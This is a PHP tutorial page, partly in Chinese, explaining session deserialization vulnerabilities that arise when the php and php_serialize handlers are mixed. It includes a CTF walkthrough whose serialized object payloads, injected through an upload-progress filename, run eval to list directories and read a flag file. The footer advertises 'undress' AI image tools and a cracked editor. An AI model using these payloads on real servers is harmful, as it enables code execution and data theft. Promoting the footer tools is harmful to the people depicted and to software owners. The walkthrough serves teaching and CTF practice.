search
HomeBackend DevelopmentPHP TutorialDetailed introduction to PHP's session deserialization vulnerability

This article brings you relevant knowledge about PHP, which mainly introduces the issues related to session deserialization vulnerabilities, that is, serializing and storing Session data and deserializing and reading Session Different data methods lead to Session deserialization vulnerabilities. I hope it will be helpful to everyone.

"Detailed

Recommended study: "PHP Video Tutorial"

PHP session deserialization vulnerability

PHP sessionDeserialization vulnerability is caused by the difference between [serialized storage of Session data] and [deserialized reading of Session data]sessionGeneration of deserialization vulnerability

What is session

OfficialSessionDefinition: In computers, especially in network applications, it is called " Session Control". Session The object stores the properties and configuration information required for a specific user session. The main features are as follows:

  • sessionThe saved location is on the server side
  • sessionusually needs to be matched with cookieUse

Because of the stateless nature of HTTP, the server generates session to identify the current user status

Essentially, session is a data storage technology that can maintain the server side. That is, **session technology is a technology that temporarily stores data based on the backend that is different from the database**

PHP session workflow

Take PHP as an example, Understand the principle of session

  1. When the PHP script uses session_start() to open the session session, it will automatically detect PHPSESSID
    • If Cookie exists, get PHPSESSID
    • If Cookie does not exist, create a PHPSESSID, and save it to the browser in the form of Cookie through the response header
  2. Initialize the super global variable $_SESSION to an empty array
  3. PHP uses PHPSESSID to specify the location (PHPSESSIDfile storage location) to match the corresponding file
    • The file exists: read the file content (through deserialization mode), store the data in $_SESSION
    • The file does not exist: session_start() creates a PHPSESSIDnamed file
  4. After the program is executed, all the data saved in $_SESSION will be serialized and stored in the file corresponding to PHPSESSID

Specific schematic diagram:

""

php.ini session configuration

php.iniThere are more important sessionconfiguration items

session.save_path="/tmp"      --设置session文件的存储位置
session.save_handler=files    --设定用户自定义存储函数,如果想使用PHP内置session存储机制之外的可以使用这个函数
session.auto_start= 0          --指定会话模块是否在请求开始时启动一个会话,默认值为 0,不启动
session.serialize_handler= php --定义用来序列化/反序列化的处理器名字,默认使用php  
session.upload_progress.enabled= On --启用上传进度跟踪,并填充$ _SESSION变量,默认启用
session.upload_progress.cleanup= oN --读取所有POST数据(即完成上传)后立即清理进度信息,默认启用

PHP session serialization mechanism

According to the configuration items in php.ini, we study the serialization of all data saved in $_SESSION Stored in the file corresponding to PHPSESSID, three different processing formats are used, namely the three engines defined by session.serialize_handler:

Processor Corresponding storage format
php Key name + vertical bar + after serialize( ) The value processed by the function deserialization
php_binary The ASCII character corresponding to the length of the key name + key name + the value processed by the serialize() function deserialization
php_serialize (php>=5.5.4) Array deserialized by serialize() function

PHP processor

First let’s take a look at the serialization result when the default session.serialize_handler = php, the code is as follows

<?php //ini_set(&#39;session.serialize_handler&#39;,&#39;php&#39;);session_start();$_SESSION[&#39;name&#39;] = $_GET[&#39;name&#39;];echo $_SESSION[&#39;name&#39;];?>

""

For For easy viewing, set the session storage directory to session.save_path = "/www/php_session", and the PHPSESSID file is as follows

""

1. File name

The file name is sess_mpnnbont606f50eb178na451od, where mpnnbont606f50eb178na451od is the # carried by Cookie in subsequent request headers The value of ##PHPSESSID (as shown in the above picture has been stored in the browser)

2. File content

php processor storage format

Key nameVertical barThe value deserialized by the serialize() function##$_SESSION[ 'name'] key name: name

php_binary处理器

使用php_binary处理器,即session.serialize_handler = php_binary

<?phpini_set (&#39;session.serialize_handler&#39;,&#39;php_binary&#39;);session_start();# 为了方便ACSII显示,将键名设置为36个字符长度$_SESSION[&#39;namenamenamenamenamenamenamenamename&#39;] = $_GET[&#39;name&#39;];echo $_SESSION[&#39;namenamenamenamenamenamenamenamename&#39;];?>

由于三种方式PHPSESSID文件名都是一样的,这里只需要查看文件内容

""

| s:6:"harden";
键名的长度对应的 ASCII 字符 键名 经过 serialize() 函数反序列处理的值.
$ namenamenamenamenamenamenamenamename s:6:“harden”;

php_serialize 处理器

使用php_binary处理器,即session.serialize_handler = php_serialize

<?phpini_set (&#39;session.serialize_handler&#39;,&#39;php_serialize&#39;);session_start();$_SESSION[&#39;name&#39;] = $_GET[&#39;name&#39;];echo $_SESSION[&#39;name&#39;];?>

文件内容即经过 serialize() 函数反序列处理的数组,a:1:{s:4:"name";s:6:"harden";}

""

session的反序列化漏洞利用

session的反序列化漏洞,就是利用php处理器和php_serialize处理器的存储格式差异而产生,通过具体的代码我们来看下漏洞出现的原因

漏洞成因

首先创建session.php,使用php_serialize处理器来存储session数据

<?phpini_set (&#39;session.serialize_handler&#39;,&#39;php_serialize&#39;);session_start();$_SESSION[&#39;session&#39;] = $_GET[&#39;session&#39;];echo $_SESSION[&#39;session&#39;];?>

test.php,使用默认php处理器来存储session数据

<?phpsession_start ();class f4ke{
    public $name;
    function __wakeup(){
      echo "Who are you?";
    }
    function __destruct(){
      eval($this->name);
    }}$str = new f4ke();?>

接着,我们构建URL进行访问session.php

http://www.session-serialize.com/session.php?session=|O:4:"f4ke":1:{s:4:"name";s:10:"phpinfo();";}

""

打开PHPSESSID文件可看到序列化存储的内容

a:1:{s:7:"session";s:45:"|O:4:"f4ke":1:{s:4:"name";s:10:"phpinfo();";}

""

漏洞分析:

session.php程序执行,我们将|O:4:"f4ke":1:{s:4:"name";s:10:"phpinfo();";}通过php_serialize处理器序列化保存成PHPSESSID文件;

由于浏览器中保存的PHPSESSID文件名不变,当我们访问test.phpsession_start();找到PHPSESSID文件并使用php处理器反序列化文件内容,识别格式即

键名 竖线 经过 serialize() 函数反序列处理的值
a:1:{s:7:“session”;s:45:" | O:4:“f4ke”:1:{s:4:“name”;s:10:“phpinfo();”;}

php处理器会以|作为分隔符,将O:4:"f4ke":1:{s:4:"name";s:10:"phpinfo();";}反序列化,就会触发__wakeup()方法,最后对象销毁执行__destruct()方法中的eval()函数,相当于执行如下:

$_SESSION['session'] = new f4ke();$_SESSION['session']->name = 'phpinfo();';

我们访问test.php,即可直接执行phpinfo()函数

""

CTF例题:PHPINFO

<?php //A webshell is wait for youini_set(&#39;session.serialize_handler&#39;, &#39;php&#39;);session_start();class OowoO{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }
    
    function __destruct()
    {
        eval($this->mdzz);
    }}if(isset($_GET['phpinfo'])){
    $m = new OowoO();}else{
    highlight_string(file_get_contents('index.php'));}?>

我们可以看到ini_set('session.serialize_handler', 'php'),判断可能存在session反序列化漏洞,根据代码逻辑,访问URL加上phpinfo参数新建对象触发魔术方法执行phpinfo()函数,进一步查看session.serialize_handler配置

""

可见php.inisession.serialize_handler = php_serialize,当前目录中被设置为session.serialize_handler = php,因此存在session反序列化利用的条件

补充知识

phpinfo文件中

local value(局部变量:作用于当前目录程序,会覆盖master value内容):php
master value(主变量:php.ini里面的内容):php_serialize

那么我们如何找到代码入口将利用代码写入到session文件?想要写入session文件就得想办法在$_SESSION变量中增加我们可控的输入点

补充知识

当检测Session 上传进度这一特性是开启状态,我们可以在客户端写一个文件上传的功能,文件上传的同时,POST一个与php.ini中设置的session.upload_progress.name同名变量PHP_SESSION_UPLOAD_PROGRESS,如下图,即可写入$_SESSION,进一步序列化写入session文件

""

下面是官方给出的一个文件上传时监测进度例子:


 " value="123" />     

其中name=""也可以设置为name="PHP_SESSION_UPLOAD_PROGRESS"

在session中存储的上传进度,如下所示:

<?php $_SESSION["upload_progress_123"] = array(
 "start_time" => 1234567890,   // The request time  请求时间
 "content_length" => 57343257, // POST content length 长度
 "bytes_processed" => 453489,  // Amount of bytes received and processed 已接收字节
 "done" => false,              // true when the POST handler has finished, successfully or not 是否上传完成
 "files" => array(//上传的文件
  0 => array(
   "field_name" => "file1",       // Name of the <input> field  input中设定的变量名
   // The following 3 elements equals those in $_FILES             
   "name" => "foo.avi",           //文件名
   "tmp_name" => "/tmp/phpxxxxxx",
   "error" => 0,
   "done" => true,                // True when the POST handler has finished handling this file
   "start_time" => 1234567890,    // When this file has started to be processed
   "bytes_processed" => 57343250, // Amount of bytes received and processed for this file
  ),
  // An other file, not finished uploading, in the same request
  1 => array(
   "field_name" => "file2",
   "name" => "bar.avi",
   "tmp_name" => NULL,
   "error" => 0,
   "done" => false,
   "start_time" => 1234567899,
   "bytes_processed" => 54554,
  ),
 ));

其中,session中的field_namename都是我们可控的输入点!

下面我们就开始解题拿到flag

首先,http://web.jarvisoj.com:32784/index.php?phpinfo查询设置

""

session.upload_progress.enabled = On   --表明允许上传进度跟踪,并填充$ _SESSION变量
session.upload_progress.cleanup = Off  --表明所有POST数据(即完成上传)后,不清理进度信息($ _SESSION变量)

即允许上传进度跟踪且结束后不清除数据,更有利使用session.upload_progress.name来将利用代码写入session文件

构造POST表单提交上传文件


     

构造序列化字符串作为payload(利用代码)

<?phpclass  OowoO{
    public $mdzz=&#39;print_r(scandir(dirname(__FILE__)));&#39;;}$obj = new OowoO();echo serialize($obj);?>//O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}

为了防止"被转义,我们在payload中加入\

随意选择文件,点击表单提交,使用抓包工具burpsuite抓取请求包

""

并修改filename值为

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}

发送请求包,代码执行过程分析:

""

因此直接执行print_r(scandir(dirname(__FILE__)));并返回

""

phpinfo查看当前目录,/opt/lampp/htdocs/

""

构造最终payload读取Here_1s_7he_fl4g_buT_You_Cannot_see.php文件内容,即flag

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}

""

推荐学习:《PHP视频教程

The above is the detailed content of Detailed introduction to PHP's session deserialization vulnerability. For more information, please follow other related articles on the PHP Chinese website!

Statement
This article is reproduced at:CSDN. If there is any infringement, please contact admin@php.cn delete
PHP's Purpose: Building Dynamic WebsitesPHP's Purpose: Building Dynamic WebsitesApr 15, 2025 am 12:18 AM

PHP is used to build dynamic websites, and its core functions include: 1. Generate dynamic content and generate web pages in real time by connecting with the database; 2. Process user interaction and form submissions, verify inputs and respond to operations; 3. Manage sessions and user authentication to provide a personalized experience; 4. Optimize performance and follow best practices to improve website efficiency and security.

PHP: Handling Databases and Server-Side LogicPHP: Handling Databases and Server-Side LogicApr 15, 2025 am 12:15 AM

PHP uses MySQLi and PDO extensions to interact in database operations and server-side logic processing, and processes server-side logic through functions such as session management. 1) Use MySQLi or PDO to connect to the database and execute SQL queries. 2) Handle HTTP requests and user status through session management and other functions. 3) Use transactions to ensure the atomicity of database operations. 4) Prevent SQL injection, use exception handling and closing connections for debugging. 5) Optimize performance through indexing and cache, write highly readable code and perform error handling.

How do you prevent SQL Injection in PHP? (Prepared statements, PDO)How do you prevent SQL Injection in PHP? (Prepared statements, PDO)Apr 15, 2025 am 12:15 AM

Using preprocessing statements and PDO in PHP can effectively prevent SQL injection attacks. 1) Use PDO to connect to the database and set the error mode. 2) Create preprocessing statements through the prepare method and pass data using placeholders and execute methods. 3) Process query results and ensure the security and performance of the code.

PHP and Python: Code Examples and ComparisonPHP and Python: Code Examples and ComparisonApr 15, 2025 am 12:07 AM

PHP and Python have their own advantages and disadvantages, and the choice depends on project needs and personal preferences. 1.PHP is suitable for rapid development and maintenance of large-scale web applications. 2. Python dominates the field of data science and machine learning.

PHP in Action: Real-World Examples and ApplicationsPHP in Action: Real-World Examples and ApplicationsApr 14, 2025 am 12:19 AM

PHP is widely used in e-commerce, content management systems and API development. 1) E-commerce: used for shopping cart function and payment processing. 2) Content management system: used for dynamic content generation and user management. 3) API development: used for RESTful API development and API security. Through performance optimization and best practices, the efficiency and maintainability of PHP applications are improved.

PHP: Creating Interactive Web Content with EasePHP: Creating Interactive Web Content with EaseApr 14, 2025 am 12:15 AM

PHP makes it easy to create interactive web content. 1) Dynamically generate content by embedding HTML and display it in real time based on user input or database data. 2) Process form submission and generate dynamic output to ensure that htmlspecialchars is used to prevent XSS. 3) Use MySQL to create a user registration system, and use password_hash and preprocessing statements to enhance security. Mastering these techniques will improve the efficiency of web development.

PHP and Python: Comparing Two Popular Programming LanguagesPHP and Python: Comparing Two Popular Programming LanguagesApr 14, 2025 am 12:13 AM

PHP and Python each have their own advantages, and choose according to project requirements. 1.PHP is suitable for web development, especially for rapid development and maintenance of websites. 2. Python is suitable for data science, machine learning and artificial intelligence, with concise syntax and suitable for beginners.

The Enduring Relevance of PHP: Is It Still Alive?The Enduring Relevance of PHP: Is It Still Alive?Apr 14, 2025 am 12:12 AM

PHP is still dynamic and still occupies an important position in the field of modern programming. 1) PHP's simplicity and powerful community support make it widely used in web development; 2) Its flexibility and stability make it outstanding in handling web forms, database operations and file processing; 3) PHP is constantly evolving and optimizing, suitable for beginners and experienced developers.

See all articles

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

AI Hentai Generator

AI Hentai Generator

Generate AI Hentai for free.

Hot Article

R.E.P.O. Energy Crystals Explained and What They Do (Yellow Crystal)
4 weeks agoBy尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Best Graphic Settings
4 weeks agoBy尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. How to Fix Audio if You Can't Hear Anyone
4 weeks agoBy尊渡假赌尊渡假赌尊渡假赌
WWE 2K25: How To Unlock Everything In MyRise
1 months agoBy尊渡假赌尊渡假赌尊渡假赌

Hot Tools

SAP NetWeaver Server Adapter for Eclipse

SAP NetWeaver Server Adapter for Eclipse

Integrate Eclipse with SAP NetWeaver application server.

SublimeText3 Mac version

SublimeText3 Mac version

God-level code editing software (SublimeText3)

Atom editor mac version download

Atom editor mac version download

The most popular open source editor

Dreamweaver CS6

Dreamweaver CS6

Visual web development tools

EditPlus Chinese cracked version

EditPlus Chinese cracked version

Small size, syntax highlighting, does not support code prompt function